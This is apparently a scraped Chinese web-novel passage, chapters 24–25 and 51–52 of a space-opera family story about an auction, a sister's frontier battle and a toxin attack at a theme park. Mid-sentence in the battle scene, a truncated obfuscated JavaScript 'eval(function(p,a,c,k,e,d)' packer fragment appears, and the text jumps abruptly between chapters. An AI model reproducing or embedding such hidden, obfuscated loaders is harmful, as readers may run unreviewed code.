奥尔顿遥遥地看了一眼江从谦,目光中隐含挑衅。 江从谦却不急不缓:“三百亿。” 一开始还有其他人竞价,但很快,就只剩下了奥尔顿和江从谦两人的声音。 “六百五十亿!” “七百亿。” …… 江从谦神情泰然,但每次出价都会将奥尔顿死死地压下去。 奥尔顿额头冒出汗珠,神情惊疑不定。 不可能的! 九壤不是陷入内乱了吗?江从谦为什么还能拿得出这么多钱! 眼看着价格被越喊越高,马上就要到他的底线了。 奥尔顿等不下去了,他示意了一下自己身边跟着的人,眉目间满是阴鸷。 很快,一个服务生在经过江从谦附近时,忽然脚步一踉跄。 手中的杯子落到地上,里面的饮料洒了一地,一股浓郁的酒香散发出来。 奥尔顿远远看见,嘴角露出得意的笑容。 这是他好不容易弄来的药剂,可以催发异能。 以江从谦现在的病情,只要一点点,就能让他当场发病。 一想到江从谦会因此痛苦哀嚎,体面尽失。 奥尔顿便有些迫不及待了。 而与此同时,趴在哥哥怀中昏昏欲睡的又又,忽然睁大了眼睛。 咦!哥哥怎么突然变香了! 24.第 24 章 地上的杯子碎片很快就被收拾走了,但那些酒液却已经浸润了地毯,散发着浓郁的香气。 江从谦感觉到自己的异能被催发,指尖轻轻地点了点。 但随后就被拱过来的小幼崽给抓住了。 江从谦无奈地笑了笑,抬手把乱动的小幼崽给抱稳了。 又又幸福地大口“啊呜”。 虽然不知道哥哥为什么突然变香了。 但吃就完事了!! 与此同时,奥尔顿身旁几人却有些坐不住了,小声问道:“奥尔顿先生,您之前说,要在竞拍会上让江从谦发病,是真的吗?” 要不是奥尔顿这样说了,他们也不会将所有流动资金都拿出来,帮他竞拍晶髓矿星。 “当然。”奥尔顿好整以暇地喝了口酒,“你们就等着看吧。” 几人都放下心来。 “我就说,奥尔顿先生承诺的事,就没有做不到的!” “就等着看江从谦出丑吧!” 奥尔顿瞟了一眼江从谦的身影,眼底闪过阴狠得逞的目光。 只要等江从谦病发,九壤就完了。 到时,他不仅能轻松拿下晶髓矿星,还能趁乱吞下九壤这样一块大肥肉。 奥尔顿越想越得意。 联邦首富又怎样? 脑域强化又怎样? 还不是他的手下败将! 可是,他等啊,等啊。 眼瞅着竞拍都已经进入了白热化阶段。 江从谦依然淡定自若,没有半点发病的样子。 怎么会这样?! 奥尔顿心里忽然有点慌,但很快又让自己强行冷静下来。 不,药剂不可能没有效果。 江从谦只是在强撑,或许过一会就会病发了! 对! 一定是这样! 只是心里虽然这样想,但随着时间的流逝,他心里的不安感却在逐渐加重。 到了最后,他甚至都无心关注拍卖进程,而是频频看向江从谦的方向。 就在这时,主持人高呼:“九百亿!江先生出价九百亿!还有比九百亿更高的吗?” 奥尔顿下意识就要加价,却忽然顿住了。 九百亿已经是他资金池的底线了! 他无法再往上加价了! 江从谦看过来,微微一笑:“奥尔顿先生还跟吗?不会是资金池不够了吧?” 奥尔顿不可置信地看着他。 不可能!! 他为什么没有发病! 以药剂起效的程度,他早就该发病了的! 又又靠在哥哥怀里,满足地打了个饱嗝。 奥尔顿越想越慌,越想越乱。 主持人看向他:“奥尔顿先生,请问您还要加价吗?” 奥尔顿咬紧牙关,脸都扭曲了:“九百亿……零一千万!” 然而之前都是十亿百亿地加价,这突然降到了一千万。 现场顿时传来一阵嘘声。 奥尔顿脸色涨红。 江从谦却不急不缓,继续道:“九百一十亿。” 奥尔顿:!!! 他被江从谦骗了! 九壤肯定没有内乱,不然他的资金池里不可能有这么多钱! 事到如今,只能拖时间等他病发了! 奥尔顿想到自己花了大价钱拿到的检测单,勉强定了定神。 顶着满场的嘘声,硬着头皮道:“九百一十亿零一千万……” 江从谦也不着急,就这么一点一点地跟他拖着。 奥尔顿额角的汗水越来越多,神情也越来越难看。 连他身旁捧臭脚的几人都意识到了不对劲:“奥尔顿先生……” 而就在这时,奥尔顿的通讯器忽然响了。 他根本无心理会,只接通语音,不耐烦道:“有什么事快说!” 那头传来下属惊慌失措的声音:“先生,我们在图兰星系的业务被同时攻击,之前那两个项目被篡改的事情也被爆出来了,现在图兰星系那边已经乱了,几名大董事都知道了,要求您尽快回总部开会,如果……如果事情解决不了,他们说会联合……罢免您……” 奥尔顿脑子“轰”的一下炸开了。 瞬间一片空白,浑身冰凉,只剩下一个念头:完了。 他花了那么多年,才拥有今天的地位! 一旦被罢免,他从前打压的那些人一定不会放过他,到时候一切都完了! 奥尔顿如同绝望的困兽,目眦尽裂,恶狠狠地看向江从谦。 是江从谦! 一定是江从谦干的! 能精准地找到他的漏洞,又一环扣一环地布置这一连串的圈套,时间还卡得如此地好。 江从谦所用的异能绝不可能少!至少不是一个异能崩坏症的患者能用出来的! 所以,江从谦根本没病! 这一切都是他用来引自己入觳的计谋! 可是现在想明白这一切,已经来不及了。 不! 还来得及! 只要他能拍下晶髓矿星,有这颗能源星在手,他就能跟董事会谈判,东山再起! 想到这里,他连忙看向周围。 然而,之前那些腆着脸奉承他的人,此刻却都坐得远远的,对他一副唯恐避之不及的样子。 奥尔顿心下一沉。 知道他们肯定也是听说了这些事,这才急忙跟自己划清界限。 果然,当奥尔顿找到他们,希望再注入资金时,这些人立刻便拒绝了。 奥尔顿在心里大骂这些人短视、鼠目寸光。 以为这么做就能讨好江从谦了吗!蠢货们!迟早要被江从谦吃得骨头都不剩! 而就在他绝望之际,竞拍现场的大门被缓缓打开,慕越推着坐在轮椅上的慕疆缓缓走进来。 奥尔顿眸中骤然爆发出强烈的光芒。 天无绝人之路啊哈哈哈哈! 以慕越和江从谦的关系,肯定会帮他的! 而先前拒绝了奥尔顿的那些人,也是面色一变,后悔了。 毕竟慕越和江从谦积怨颇深。 他此刻出现在这里,为了什么不言而喻。 总不可能是来帮江从谦的吧? 奥尔顿整了整衣服,又恢复了以往衣冠楚楚的派头。 然后便朝着慕氏祖孙迎了上去。 “慕老先生,久仰大名……” 奥尔顿话还没说完,慕越竟然推着爷爷径直越过了他。 奥尔顿的笑容顿时僵在脸上。 在所有人震惊的注视下,慕氏祖孙竟然走到了江从谦的位置旁。 奥尔顿大惊失色,随即又安慰自己。 看他们 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又又还是第一次见哥哥和人吵架,好奇地睁大眼睛,吃都忘记吃了。 慕疆却是淡然自若,摸了摸又又的头发,满脸慈祥道:“又又是不是困了?” 他不说还好,一说又又就忍不住打了个哈欠,迷迷糊糊地点点头。 慕疆看向主持人:“我慕家给江先生资金池注入一百亿,之后不论加多少,我慕家都奉陪到底。” 他这话一出,现场直接炸了锅。 现场最有财势的本就是江从谦和慕家。 慕老爷子如今站在江从谦这边,那结果已经不言而喻了。 慕疆说出那一百亿时,奥尔顿已经知道自己输了。 他失魂落魄地瘫坐在原地。 听着主持人恭喜江从谦拿到晶髓矿星的所有权。 他不甘心地看着人群中心被众星捧月的又又,简直觉得荒谬绝伦。 一个孩子! 一个他掉以轻心,以为无关大局的孩子! 竟然才是整场竞拍会最关键的那个点。 奥尔顿简直百思不得其解。 这么小的孩子,他能做什么,到底做了什么! 竟然让江从谦和慕越两个死对头握手言和!! 让老谋深算的慕疆老爷子为他一掷千金!! 如果不是因为他,自己肯定可以联合慕家,扭转局势! 他机关算尽,最后竟然输给了一个孩子!! 奥尔顿几乎要疯了。 可已经没人关注他了。 主持人带着公证人员走到江从谦面前,递上NJS-219号星球的转让书,只要江从谦在这上面输入生物信息,这颗星球就能完全属于他个人。 然而江从谦却是将转让书放到又又面前:“又又,把手掌盖上去。” 原本已经逐渐安静下来的现场,又因此沸腾起来。 尤其是先前那些说“豪门塑料兄弟情”的人,简直是瞠目结舌。 这可是价值千亿的星球啊!! 就这么随随便便转让给了一个孩子吗?! 宠孩子也不是这么宠的啊!! 25.第 25 章 要说近来中央星系最轰动的大新闻,莫过于那场星球竞拍会了。 原本江从谦找回弟弟,众多豪门虽然听说他宠爱这个弟弟,但这种传言嘛,听听就是了。 谁不知道江家人虽然各个厉害,却是亲情淡漠。 这么多年,江家人几乎就没有在公众面前同过框。 况且,他们还听说那孩子没有异能,就更不怎么上心了。 可在竞拍会上看到的一切,却令他们大跌眼镜。 那被人认为没有异能的“豪门小可怜”,不仅全程被江从谦抱在怀里,随手买个小星球给他玩,甚至连那颗价值千亿的晶髓矿星都送给他了。 更别说,慕疆老爷子还巴巴过来给他撑腰,看那疼爱的样子,恨不得直接把人偷回家。 江从谦和慕越两个死对头,不止破天荒合作了,还在大庭广众之下争宠! 这是什么小可怜! 分明是豪门团宠好吧!! 以至于竞拍会都结束好几天了,这件事的热度还没有平息。 近来宴会的时候,几乎每家都带着娃来了,用意不言而喻。 还有人把视频传到了星网上。 【妈妈我酸了!!!】 【我之前听人说江家人亲情淡漠来着,原来是这么个淡漠法hhhh我也想被这么淡漠!!!】 【妈呀!我做梦都不敢做这么大的!不敢想象弟弟到底有多爽!】 【卧槽!!!本来还以为能看到元帅幼年体,结果弟弟居然这么可爱吗我ruaruarua~~~】 【所有人都想魂穿弟弟,只有我想魂穿哥哥吗?小幼崽软乎乎的应该很好抱吧(ˉ﹃ˉ)】 …… 不过这些事情,又又完全不知道。 他在竞拍会上吃得太撑了,最近几天都有点昏昏欲睡的,被迫“轻断食”了一下。 除此之外,也是他发现,哥哥最近有些怪怪的。 江从谦的确心事重重。 距离他上次给妹妹江昭晏留言,已经快一个月了。 妹妹虽然性格冷漠,但之前看到信息好歹是会回复一句的。 可这次不仅没有回复,通讯打过去,也依旧是冷冰冰的女声:“这里是联盟第七军团少将江昭晏,任务期间正处于电磁静默状态,非紧急军务请转指挥部加密频道。” 难道是出了什么事情吗? 第七军团位于那伽星系,是中央联邦最远的星系。 那边星域情况复杂不说,还有星盗、反叛军、黑市商人盘踞其中,在那边执行任务,比其他军团都要复杂、危险得多。 可是江从谦使用异能,快速将那伽星系最近发生的事情都过了一遍,却又并没有发现什么异常。 但正因如此,他反而更加担忧。 因为想得太过专心,连又又什么时候爬到他身上都没有意识到。 “哥哥~”又又仰着脸,疑惑地看着他,“你怎么了呀?” 江从谦回过神:“哥哥没事,我们刚刚讲到哪里了?” “哥哥,你忙的话就不用跟我讲故事了。” 又又认真地说。 实在是最近这几天哥哥又是失眠又是焦虑,口味都丰富了许多,他倒是不介意,但还是忍不住担心哥哥。 江从谦犹豫了片刻,最终还是下定决心去一趟那伽星系,不亲眼看看妹妹的情况,他无法放心。 “又又,哥哥准备出一趟远门,你最近就在家待着,好吗?” 如果是之前,江从谦肯定是不会放心又又独自在家的。 但如今有了慕家祖孙,哪怕对慕越反感,但也不得不承认,他们还是很靠得住的。 又又好奇地问:“哥哥要去哪里?” 江从谦没有瞒他:“那伽星系,是距离中央星系最远的边境星系。” 而又又一听“边境”两个字,眼睛瞬间就亮了。 边境好呀! 之前那艘走私舰就是在边境,那可是食病兽的天堂! 于是他立刻说道:“哥哥,我要跟你一起去!” 江从谦皱起眉:“那边很危险……” “又又不怕!”又又握紧拳头,“要去要去要去!!” 江从谦神情严肃。 那伽星系情况混乱,不是小幼崽能随意玩耍的地方。 做家长的,不能毫无底线地纵容…… 然而看到又又委屈巴巴地用拳头揉眼睛,江从谦闭了闭眼:“行,但你要听话,不能乱跑……” 又又:好耶!! - 那伽星系边缘。 广袤空寂的宇宙中,正在进行着一场静默而惨烈的战役。 江昭晏原本带领小队在执行任务,谁知半路遭遇了反叛军的自杀式伏击。 丧心病狂的反叛军,竟然不分敌我直接使用“灵基射线”。 “灵基射线”会污染异能源,摧毁异能者的身体,令他们在痛苦中死去。 深紫色的光带几乎笼罩了这一整片星域,无数机甲和舰体的残骸漂浮其中,不止有军队的,还有反叛军自己的。 形成了一片死寂的太空坟场。 江昭晏驾驶着机甲,如同一柄利刃直插|进反叛军中。 她灵活地躲过密集的能量炮,有无法躲过的,受击位置会短暂地泛起一层莹莹白光,几乎抵消掉能量炮的伤害。 这就是江昭晏的异能——物品强化。 爆炸绽开的火光明明灭灭,却被她冷锐的眸光压下。 “三分队吸引火力,我去炸掉他们的指挥舰!” 在反叛军们疯狂又不可置信的目光中,一发磁轨炮从刁钻的角度直接击中指挥舰的动力源。 伴随着无声的震动,庞大的反叛军指挥舰被炸成了一朵苍白的烟花。 机甲内的江昭晏因为靠得太近,也被爆炸的冲击波给震伤。 她试图调动异能,但已经被污染的异能源却似泥沼般,完全失去了回应,不止如此,她的身体也因为射线的伤害摧毁了异能者强大的自愈力,变得极其脆弱。 她猛地咳出一口血。 通讯频道内,传来副官塞西莉亚焦急的声音:“少将,您怎么样?” 江昭晏一把摘掉已经破损的面甲,露出染血的明艳脸庞:“我没事,所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这位联邦最年轻的少将身材高挑修长,银灰色的抗荷服勾勒出流畅的肌肉线条,有种极致力量的美感,即便现在上面布满了血污和灰尘,也不显得狼狈,反倒增添了几分凌厉肃杀。 医疗官叹了口气。 明明江少将也被射线污染,身受重伤,可她却根本不在意,一直守在监护室外面。 见医疗官出来,江昭晏走上前:“郑医生,塞西她的情况怎么样?” 医疗官迟疑了片刻,才道:“德兰上尉的手臂已经没办法恢复,以后只能装义肢,但她最大的问题是灵基射线污染太严重,她的半边身体已经腐化了……” 江昭晏顺着她的目光看去。 躺在医疗舱里的塞西莉亚脸色苍白,呼吸孱弱,在露出来的右腿上,浮现出青紫色的腐败网。 如果不是医疗舱的不断修复,她的这半边身体很快就会血肉消融,化为白骨。 江昭晏的心脏重重地沉了下去。 鲜血瞬间涌入喉咙,却又被她强行咽了下去。 她看向医疗官,目光中有着她自己都不知道的祈求:“那……她能治好吗?” 医疗官叹息了一声,沉默着摇摇头。 50-60 第51章 中央星系,蔚蓝星区停泊港。 第七军团的舰队缓缓入港,主舰在牵引光束的引导下,与停泊位精准对接。 舷梯落下。 穿着笔挺军装的加尔文军团长,在亲卫们的簇拥下,缓缓走了下来。 他已经很多年没有回到中央星系了。 眼前的景象既陌生又熟悉。 整齐列队的仪仗队,还有道旁自发来迎接的民众。 他的目光越过人群,落在了通道的尽头。 那是前来迎接他的江砺元帅。 他看起来比记忆中苍老了,发间也染了霜色,身姿却依旧挺拔如松。 年少时,他们曾是能将后背托付给彼此的战友,后来却因理念不合而渐行渐远,已经有很多年不曾这样面对面站立了。 江砺走上前,与他握手寒暄。 目光却不经意地扫过他身后的舰队成员,视线顿了顿,却并没有看到想见的人。 虽然,他早已从卢西恩那里知道,江从谦他们已经先行离开舰队,前往终焉星域。 可理智上清楚,情感上仍旧抱有一丝微弱的期待。 如今,期待落空,眸底不受控制地掠过一丝失望。 虽然,他很快就收敛了情绪,目光重新聚焦在了加尔文身上。 但他这短暂的失态,并没有逃过加尔文锐利的眼睛。 加尔文当然知道他在找寻什么,只是目光微微一动,到底没有出言戳破他。 两人默契地并肩,朝着等候的悬浮车走去。 就在这时,加尔文的视线不经意扫过江砺垂落的袖口。 深色的袖口边缘,竟沾染着几点已然干涸的血迹。 他的眉头微皱,脚步下意识放缓。 江砺也察觉到了他的目光,看向自己的袖口,神色却丝毫未变,轻描淡写道:“来的路上,遇到了点小麻烦。” 自从他坐稳元帅之位,并以铁腕手段开始整顿军部后,便已经成了世家眼中的众矢之的。 这种程度的暗杀,几乎是家常便饭了。 加尔文的神情有些凝重。 他常年驻守在第七军区,虽然知道中央星系暗流汹涌,却没有想到已经变得这么危险了。 他似乎想到了什么,目光锐利地看向江砺:“所以,你才让女儿来第七军区?” 没想到江砺却摇了摇头:“第七军区是她自己选的。” 他顿了顿,语气里听不出太多情绪,“我只是替她扫清了一些障碍,扛下那些本不该她承受的压力罢了。” 加尔文怔然。 外界一直都有传言,江砺将江昭晏送来第七军区,是为了换取他和第七军区的支持。 连他也有这样的误会,只不过江昭晏并没有这个念头罢了。 可如今看来,事实却与他所想的完全不同。 江昭晏不想参与复杂的政治争斗,所以选择最危险,却也最清静的第七军区。 而江砺,则扛下外界所有的猜测和压力,把那些试图阻碍,或者将江昭晏视作筹码的暗手,通通扫除干净。 他这些年都没有来过第七军团,只让秘书官和江昭晏联系,就是让人以为江昭晏不满他这个父亲,和他闹崩,以此保护女儿的安全。 哦,他甚至都没有将这些事情说给江昭晏听。 加尔文一时都不知道该说什么好。 江砺在军部看似权力煊赫,实则身处风暴中心。 脚下是万丈深渊,四周是虎视眈眈的群狼。 他最早对儿子寄予厚望,希望他能进入军部帮助自己,可惜江从谦一心从商。 如今女儿选择从军,却既没有进入军部,直接帮助父亲稳固权柄,也没有选择资源最丰厚的第一、第二、第三军区,反而一头扎进了最偏远,也离权力漩涡的第七军区。 这其中,固然是江昭晏自身的志向与性格使然,但作为父亲,江砺却最终默许甚至推动了她的这一选择。 直到此刻,加尔文才彻底明白过来。 他轻笑一声,刚下星舰后就紧绷的肩膀,此刻竟微微放松了些。 他侧过头,语气中竟还带着几分调侃:“我原本还以为,你这位铁血元帅,当真如外界传言那般,对儿女并不上心呢。” 江砺敏锐地察觉到了,老友态度的软化,却又因为他话中的意思,皱紧了眉头:“你这是什么意思?” “没什么意思。”加尔文拍了拍他的肩膀,感慨道,“只是不知道该说你父爱如山比较好,还是说你心太大比较好。” 江砺:“……?” 他本以为,加尔文跟他见面后,两人之间少不了一番言语试探又或者是情报交换。 谁知,加尔文竟然没头没尾地说了一通子女教育经。 简直荒谬! 他江砺纵横半生,还需要这个加尔文这个老光棍来教他怎么当父亲吗?! 江砺没好气地拂开加尔文的手,懒得在这个话题上纠缠。 加尔文却意味深长道:“呵,你现在不听,以后可不要后悔。” 江砺根本没理他,直接钻入了悬浮车内。 迎接加尔文只不过是他繁忙日程中的一环。 军部述职在即,各军区的实权将领都已经陆续抵达中央星系。 这正是各方势力角力,最为暗潮汹涌的时刻,也是他这个元帅最忙碌也最危险的时候。 等到他好不容易从接连不断的会议、接见以及推不掉的宴饮中暂时抽身,已经是几天之后了。 江砺揉了揉刺痛的太阳穴,抬手打断了报告的卢西恩。 “他们……现在到哪里了?”他声音有些沙哑,“难道还在终焉吗?” 他没有说他们是谁,但卢西恩心知肚明。 他还因为之前屡次失败,没能达成元帅的心愿而羞愧,闻言,立刻说道:“回元帅,他们几天前已经离开终焉了,根据最新消息,他们如今去了三少爷居住的那颗资源星。” 江砺一愣。 他们去找见微了? 他这个三儿子,自小就沉默寡言,不爱与人打交道,性格却是最烈的。 当初,老三因为不喜欢被掌控,和老大吵架离家出走,还选了个渺无人烟的资源星。 他之前好不容易抽出时间,想去探望一下,也被他直接拒绝。 于是,他也只能放弃这个念头,只是安排人手在资源星附近秘密巡视,确保他的安全。 在江砺的观念里,孩子们如同羽翼渐丰的鹰隼,迟早要离开巢穴,翱翔于属于他们自己的天空。 他们想做什么,选择怎样的道路,只要不违背法律和道德,他都愿意尊重。 他这个做父亲的,只需要稳稳地站在后方,等他们飞累了,可以随时回来依靠的山峦就好。 可是,他的孩子们,是不是都飞得太远了点? 一个一心从商,几乎完全与他划清界限。 一个投身最偏远的军区,常年戍守边境。 一个跑到荒凉的资源星上,与世隔绝。 甚至,连刚刚找回来的小幼崽,也被哥哥姐姐带着,在蔚蓝星区绕了一大圈,也完全没有要回家的打算! 一股难言的失落,瞬间涌上了江砺的心头。 但随即,一声急促的“报告”打断了他的心绪。 一名情报官急匆匆地进入办公室,表情凝重而焦急。 “报告元帅!蒂奢星区的宜居星上,刚刚发生大规模恶性袭击事件,情况危急!” 江砺神色一凛,所有纷乱的私人情绪被瞬间压入心底,属于联邦元帅的冷静与锐利重新占据眼眸。 他接过情报官手中的报告,目光迅速扫过。 然而越看,他脸上的寒意就越重,最终怒不可遏地一拍桌子。 “混账!!” 根据报告所说,引发这场灾难的,竟是之前在第七军区发现的,那个代号为YHC-03的生物毒素。 之前,他顺着这条线,狠狠地整顿了军部,并借此把厄托这几个世家代理人连根拔起,沉重打击了他们背后的势力。 他料到对方会反扑,却没想到,这反扑来得这么快,又这么狠毒! 他们竟然丧心病狂地将目标对准了平民! 蒂奢星区是中央星系著名的艺术区,居住者几乎都是从事艺术创作的普通平民。 即便有异能者,也几乎都是和艺术相关的异能,并没什么战斗力。 可想而知,一旦出现感染者,将会造成多大的伤亡! 更令人发指的是,他们这次使用的,竟然还是YHC-03的加强版。 旧版毒素感染后,感染者虽然会躯体异化,力量暴涨并丧失理智,但同时也会失去使用异能的能力,最大的危机是毒素潜伏隐蔽,令人猝不及防。 而如今的加强版毒素,感染者躯体被强化不说,甚至还能使用异能。 根据传回来的报告,那些幕后黑手显然精心挑选过,被感染的都是有攻击异能的人,人数还不少。 就这么短短一段时间,星球上已是一片混乱,死伤极为惨重。 最重要的是,还不知道这些人究竟感染了多少人,后续还有多少人会陆续发作。 如果他们在人群中忽然毒发,还不知道会造成多大伤亡。 而且,这还只是毒素本身的危害。 随之而来的大规模骚乱,以及恐慌的蔓延,极有可能引发社会秩序的坍塌,造成更多伤亡! 而当务之急,必须得有人在最短时间内镇压混乱,阻止恐慌蔓延,稳住局面。 这个人要有能力,有威望,还要让民众足够信任。 这个人,只能是他江砺! 江砺不再迟疑,立马起身:“准备穿梭舰,我亲自去现场!” “元帅!”卢西恩下意识上前一步,不无忧虑道,“请您三思!那可是定向生物毒素,如果他们将感染者的指向性目标定为您……” “如果是这样,我就更应该去了。” 江砺此时已经走到了门口,闻言,他脚步未停,只是侧过头,神色平静道,“卢西恩,别忘了,你进入军部第一天时,立下的誓言,一切为了联邦,一切为了人民。” “如今,人民正在遭受屠戮,联邦的秩序正在被践踏,作为元帅,我的职责就是出现在最前方,阻止这场灾难!” 卢西恩浑身一震。 习惯于推演一切的他,在听到这个消息的瞬间,便已经推演出了一切可能会发生的事情。 然而,再理智的推演,也比不过元帅此刻这番话带给他的震撼。 他心中涌起羞愧,深吸了一口气:“是!属下明白了!” 江砺一边往外走,一边下达新的指令:“立刻联系加尔文军团长,就说我有要事要与他商议。” 第七军团之前有成功应对这种毒素的经验,甚至还能检测出暂时没有发作的感染者。 这正是他们眼下最急需的。 按照常理,作为统御军部,需要与各大地方军团维持微妙制衡关系的元帅。 面对这么重大的内部安全事件,第一反应往往是封锁消息,以免动摇军部威信,给地方军团留下把柄。 然而此刻的江砺,脑海中却根本没有考虑过这些。 他只知道,每拖延一秒,就会有更多无辜的人伤亡,必须要尽快控制局面,才能救下更多人。 无论加尔文或第七军团,借此提出什么样的条件或要求。 他都愿意承担!- 在把江见微接到九壤号上后,又又每天都吃得饱饱的。 江见微的恢复情况也一天比一天好,他的四肢已经有了知觉,也有了一定的控制力。 只是在轮椅上坐了太久,肌肉萎缩地厉害,现在还无法长时间地行走。 江从谦知道江见微自尊心强,肯定不愿意这个样子回去,于是便推迟了回去的时间。 不过这推迟的原因,还不能被江见微知道,否则以这小子敏感又倔强的性格,大概又要别扭很久。 就当他思索着要找个什么合适的理由时,又又像一颗小炮|弹一样冲了过来:“哥哥!哥哥!” 江从谦眼疾手快,一把接住了小炮|弹:“怎么了?跑的这么急?” 又又抱着哥哥的脖子,眨巴着眼睛,有一点小心虚:“哥哥,我们先不回去好不好?” 江从谦心中微动,面上却平静无波:“哦?为什么先不回去?” “我刚刚跟桑拓在通讯!”小幼崽有点不好意思,但还是期待地看着哥哥,“桑拓说,蒂奢星区新开了一家主题乐园,里面正好有蛋壳小鸡的主题诶!!” “想去?”江从谦明知故问,声音里带着一丝不易察觉的笑意。 又又连忙点头,眼巴巴地看着他:“想去想去!大哥,我们去吧!好不好?” 江从谦本来就有意推迟行程,看着小幼崽那么渴望,自然不会故意吊他胃口,点点头:“好,那我们就先去蒂奢星区。” 又又:“!!!” 幸福来得太突然了!! 哥哥竟然什么都没说就同意了! 小幼崽瞬间被巨大的惊喜淹没,欢呼一声,奶声奶气地说:“大哥最好了!!!” 江见微正好操控着轮椅走出来,听到这句话,心里微微一哽。 想当初,他还是星网上的怪人哥哥时,小幼崽也总是用崇拜的目光看着他,像这样软乎乎地说“怪人哥哥最好了”“怪人哥哥最厉害了”。 他当下便忍不住道:“又又想去做什么,三哥也可以陪你!” “真的吗?”小幼崽立刻松开大哥,哒哒哒跑到三哥面前,“三哥,你也可以陪我去主题乐园玩吗?” 江见微:“……” 主题乐园?! 江从谦走过来,看到三弟脸上那一闪而过的僵硬,忍着笑,故意道:“是啊,又又说,想去蒂奢星区新开的主题乐园,你要陪他去吗?” 江见微犹豫了。 但看着期待的看着他的小幼崽,他狠狠心咬咬牙:“我去!” 这时,刚刚训练完的江昭晏也擦着汗走了出来:“去哪里?你们又在商量什么?” “姐姐!”小幼崽闻声,立刻又扑到姐姐怀里,抱着她摇摇晃晃地撒娇,“姐姐也陪我去主题乐园玩吧!大哥和三哥也去,我们一起去!” “主题乐园?好啊!” 弟弟这点小要求,江昭晏自然不会拒绝,一口答应。 不过,她忽然眼睛一转,脸上露出促狭的笑意,饶有兴致地说道:“我听说,主题乐园要穿cos服进去玩诶,又又想不想穿蛋壳小鸡的衣服?” “要要要!!”又又的兴奋瞬间到达了顶点,蹦蹦跳跳地举起手,恨不得立刻就出发。 江昭晏又不怀好意地看向哥哥和弟弟:“穿cos服而已,你们应该也不会拒绝弟弟这个小小的要求吧?” 江从谦和江见微的脸色顿时僵硬。 但是一天之后,一家四口还是换上了不同的cos服,来到了这家主题乐园门口。 又又cos的,自然是他最爱的蛋壳小鸡小绿,毛茸茸的衣服将他裹得像个软糯的糯米团子,露出一张软乎乎的小脸蛋,可爱得连周围的游客都忍不住偷偷看他。 江昭晏则选择了一套飒爽利落的女战士服装,衬得她身姿挺拔,英气十足。 江从谦则眼疾手快地找到了一套相对正常的古典礼服,他本就身材高大,气质矜贵,穿上去并不违和。 而最惨的,莫过于江见微了。 他本就身体孱弱,又抵挡不了又又可怜巴巴的目光,结果被套上了另一套蛋壳小鸡小黑的衣服,此刻正坐在轮椅上自闭。 一旁负责陪同兼向导的桑拓,只能使劲掐自己的掌心,才能勉强把爆笑压回去。 他原本是蒂奢星区小有名气的画家,患了异能失调症后,失去作画能力。 后来因为意外被绑到了和又又同一艘走私舰上,被又又吞掉了病症后,奇迹般地痊愈了。 知道又又他们过来,就立刻推掉了所有的工作,亲自赶来作陪。 结果一来就看到了这样的场景。 小幼崽明显被哥哥姐姐照顾得很好,脸蛋红润,活蹦乱跳的,跟之前在走私舰上那个瘦弱的小幼崽,简直是天壤之别。 他轻咳一声,将笑意压下去,才说道:“走吧,又又,我已经做好攻略了,我们先去蛋壳小鸡的主题区!” “好耶!!”又又兴奋得小脸通红,迫不及待地拉住桑拓的手,“桑拓哥哥,我们快点出发吧!” 这个主题区不愧是中央星系最大的蛋壳小鸡主题区,沉浸感十足。 又又在里面玩得简直不想离开。 最后,还是江从谦答应他,接下来几天再带他过来,小幼崽才依依不舍地走出来。 临近中午,一行人准备先去吃午饭。 玩了一上午的又又,此刻兴奋劲稍退,趴在江从谦肩头,懒洋洋地打了个小哈欠,对美食毫无兴致。 忽然,他的目光定住,看向不远处卖棉花糖的小贩。 一朵一朵颜色鲜亮的棉花糖被制作出来,吸引了不少游客。 等待棉花糖的顾客在旁边围了个圈。 江从谦注意到他的目光,问道:“又又,是想吃棉花糖了吗?” 又又迟疑地摇摇头,却又耸动鼻子,用力地嗅了嗅,这才说道:“哥哥,那个人……他身上有冯列哥哥他们身上的味道……” 江从谦和江昭晏都是一怔,随即脸色骤变。 桑拓还没反应过来:“什么味道?是看到熟人了吗?” 他话还没说完,变故突生。 只见那拿着棉花糖,笑容可掬的小贩,忽然身体剧烈颤抖起来。 他手中的棉花糖瞬间落在地上,沾满灰尘,而他的双眼则瞬间变为赤红,与此同时,无数青黑色的血管在他的皮肤之下鼓胀蠕动。 “啊啊啊!!怎么回事!” “怪、怪物啊!!!” 原本还围在摊子旁等待的游客们,被这骇然一幕吓得魂飞魄散。 人群四散奔逃,场面一片混乱。 混乱中,一名小女孩与家人被冲散,呆呆地站在原地,吓得连哭都忘记了。 那已经变成怪物的小贩,瞬间用赤红的眼珠锁定了她,嘶吼着扑了过去。 “小心!” 关键时刻,江昭晏飞身上前。 她一手捞过小女孩,一手按在了棉花糖机器上,原本的机器瞬间变成了锁链,将那怪物从头到脚牢牢锁起来。 可令他们没想到的是,那小贩身上竟然冒出了火焰,很快就将身上的锁链给烧化了。 挣脱束缚的怪物,立刻死死锁定了江昭晏。 他裹挟着熊熊烈焰,带着灼人的热浪,朝江昭晏猛扑过来。 这变故出乎意料。 没人想到,这怪物竟然还能使用异能! 江昭晏却及时反应过来,一闪身,手掌按在一旁的沙坑上。 在她掌心触及的瞬间,细软的沙子如同涌起的金色浪潮,劈头盖脸地将那小贩裹住,像是一张厚重无比的沙毯,将他身上的火焰压制了下来。 桑拓等人看得目瞪口呆。 而在他们都没有注意的时候,又又迈着小短腿,以最快的速度冲了过去,一把揪住了小贩身上的一缕病气,“啊呜”吞进了嘴里。 咦? 味道怎么跟之前不太一样了。 第52章 又又眨了眨眼睛,又吃一口。 唔……没有错! 这个味道的确跟之前不一样了。 更为纯粹、浓郁,也更好吃了! 他毫不犹豫地又凑近了一点,大口大口地吃了起来。 沙毯之下,原本挣扎嘶吼的小贩,动作忽然诡异地停顿了一下。 他身上熊熊燃烧的火焰,也肉眼可见地弱了下去。 如果此时有人的目光能穿透沙毯,就会发现,那个小贩身上狰狞鼓胀的青黑色血管,竟在慢慢平复下来,他眼底的赤红也在慢慢消散,渐渐有了正常人的模样。 江昭晏虽然没有看到,却也能透过沙毯感知到,对方挣扎力道变弱。 但她并没有因此放开沙毯。 这时,一个脸色惨白,狼狈不堪的女人逆着人群冲了出来,几乎是连滚带爬地扑到小女孩身边,一把将孩子死死地搂进怀里。 “宝宝!妈妈在这里!” 她浑身剧烈颤抖,声音都带着哭腔。 而小女孩也似乎终于反应了过来,在妈妈怀里“哇”地放声大哭起来。 